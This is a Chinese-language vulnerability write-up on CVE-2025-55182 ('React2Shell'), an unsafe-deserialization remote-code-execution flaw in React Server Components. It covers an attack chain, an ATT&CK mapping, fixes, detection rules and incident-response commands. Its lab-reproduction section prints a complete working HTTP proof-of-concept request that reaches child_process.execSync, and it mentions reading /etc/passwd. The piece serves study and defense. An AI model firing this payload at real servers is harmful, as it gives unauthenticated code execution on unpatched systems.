react/CVE-2025-55182
1. 漏洞概述
漏洞 ID:CVE-2025-55182
别名:React2Shell
严重性:Critical (CVSS 10.0/10)
影响组件:React Server Components(RSC)中 react-server-dom-webpack、react-server-dom-parcel、react-server-dom-turbopack 等模块(19.0.0-19.2.0)
影响范围:任何通过 React Server Components(和基于其的框架如 Next.js/Parcel/Vite RSC)暴露的服务端函数端点
根本原因:对未经验证的 HTTP 请求 payload 进行了不安全的反序列化,导致任意代码执行(RCE)风险。(nvd.nist.gov)
2. 漏洞原理深度分析
✅ 堆栈上下文及缺陷本质
React Server Components 使用所谓的 Server Functions / Flight 协议 来将客户端意图(例如表单提交、API 调用等)包装成 HTTP 请求发送到服务器处理。受害代码尝试 将字符串化数据反序列化成对象 并执行逻辑,但没有做严格的结构和类型验证,就直接交给内部运行时解释与执行。(upguard.com)
漏洞本质属于 CWE-502: 不安全的反序列化(Unsafe Deserialization) ,攻击者能构造恶意序列化对象,其中带有非法字段(例如 __proto__, constructor, prototype 等),破坏对象原型并引入特制“Gadget 链”,最终调用危险功能如 child_process.exec, eval() 等执行任意 shell 代码。(upguard.com)
🔁 漏洞示意图(概念图)
┌─────────────┐ Malicious serialized
│ Attacker │ HTTP POST payload w/ crafted __proto__
└──────┬──────┘ ---------> to React Server Function Endpoint
│ │
│ ▼
│ ┌─────────────────────────┐
│ │ React Server Component │
│ │ (RSC Flight Handler) │
│ └─────────────────────────┘
│ │
│ Deserialization fails to validate
│ unsafe fields, so
▼ ▼
┌──────────────────────────────────────────────────────┐
│ Resulting polluted object proto chain leads execution │
│ of attacker’s controlled code via gadgets → RCE │
└──────────────────────────────────────────────────────┘
3. 攻击链路构建(Kill Chain / STRIDE)
下面以典型 Web 服务利用路径(Internet-Facing React Server Components)构建攻击链路:
-
侦察 Reconnaissance
-
枚举目标 React/Next.js 端点
-
使用 HTTP 请求特征判断是否存在 RSC Server Function
→ 技术:网络扫描器、被动/主动服务探测
-
-
武器化 Weaponization
-
构造恶意 payload(反序列化数据包含污染字段)
-
设计 gadget 执行命令(shell、内存执行器)
-
-
传递 Delivery
- 将恶意序列化参数通过 HTTP(POST/PUT)发送至 RSC 端点
-
利用 Exploitation(T1190)
- 利用 unsafe deserialization 执行任意代码
-
执行 Execution(T1059, T1059.007)
- 执行 shell 命令、启动 reverse shell 或 dropper
-
持续 Persistence & Lateral Movement
- 安装后门、横向移动到内部环境
-
目标行为 Objective(Tactic: Impact)
- 部署 cryptominer、信息窃取、数据破坏等 (upguard.com)
4. ATT&CK 战术与技术映射
| ATT&CK 类别 | 技术标识 | 说明 |
|---|---|---|
| 初始访问 Initial Access | T1190 | 公网应用漏洞利用 |
| 执行 Execution | T1059 / T1059.007 | JavaScript 命令/脚本解释器执行 |
| 持久化 Persistence | T1547 | 安装后门服务 |
| 横向移动 Lateral Movement | T1021 | 远程进程/服务交互 |
| 影响 Impact | T1490 / T1489 | 数据破坏、拒绝服务 |
| 防御绕过 Defense Evasion | T1562 | 滥用序列化进行防护绕过 |
5. 修复建议
✅ 第一优先:升级组件
| 生态 | 修复版本 |
|---|---|
| React Server Components | ≥ 19.2.1 |
| Next.js | 修补相关补丁次版本(见官方发布) |
立即将以上受影响库升级至厂商修复版本并重新部署。
⚠️ 代码级修复原则(高层)
- 禁用 unsafe 反序列化
- 白名单字段解析
- 使用安全序列化库
示例伪代码:
// 不安全
const obj = JSON.parse(req.body.payload);
// 安全版
const safePayload = safeJsonParse(req.body.payload, {
allowedFields: ["action", "params"],
maxDepth: 5,
});
// 禁止 __proto_ 和 constructor 等
if (hasUnsafeProto(safePayload)) {
throw new Error("Invalid payload");
}
6. 检测与防护规则 (IDS/EDR/SIEM)
🔎 网络层 NIDS 规则 (Snort / Suricata)
alert tcp any any -> any 80 (msg:"CVE-2025-55182 RCE suspicious Flight POST"; \
flow:to_server; content:"POST"; http_header; content:"application/json"; \
classtype:attempted-admin; sid:90055182; rev:1;)
🧠 应用层检测指纹
根据社区观察,大多数攻击使用 HTTP POST 携带异常序列化参数:
if HTTP_METHOD == POST and payload contains "__proto__" or "constructor" then
alert("Possible React2Shell exploit attempt")
7. 应急响应流程与命令
🧩 事件确认
# 抓取可疑 HTTP 请求
tcpdump -s 0 -w exploit.pcap port 80 or port 443
🪲 可疑命令行为追踪
# 查询 Node.js 进程相关命令执行
grep -i "execSync" /var/log/app.log
🛠️ 主机隔离
# 断开受影响服务
systemctl stop myreactapp.service
🧑💻 取证收集
# 系统状态采集
ps aux > ps.txt
netstat -ntlp > netstat.txt
🧹 清理与恢复
# 删除后门
rm -rf /tmp/.malicious
关键素材总结
-
官方发布摘要:该漏洞为 unauthenticated RCE,来源 unsafe deserialization。(nvd.nist.gov)
-
TEC/实战情报:漏洞已在全球被广泛利用,甚至用于部署 cryptominer、backdoor 等 payload。(macnica.co.jp)
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞复现
指纹识别结果。
这是一个高达10.0高分的漏洞,官方提示除了更新补丁之外,似乎无法规避该漏洞的风险。由于该漏洞涉及原型污染链和内存马的高阶知识,而且利用方式模板比较单一(不包含执行命令等),所以直接利用官方的poc即可。
POST / HTTP/1.1
Host: 192.168.0.41:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 758
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{"then":"$B1337"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
可以看到我们的命令执行成功,通常”点到为止“就行了。但是本着练习靶场,拓宽思路的特点,我还尝试了其他命令。
在执行cat /etc/passwd时,如果不base64输出,就无法在x-action-redirect后面看到我们所需要的东西。
对需要查找的信息进行base64解码,便能够查看到我们所需要的东西。对于漏洞原理的分析其实腾讯肯恩实验室分析的文章写得非常到位,所以不在赘述,有需要的读者参考该链接[1]。
参考文章:
1.漏洞分析】CVE-2025-55182 React2shell远程代码执行解析 | 腾讯科恩实验室官方博客 keenlab.tencent.com/zh/2025/12/…
创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。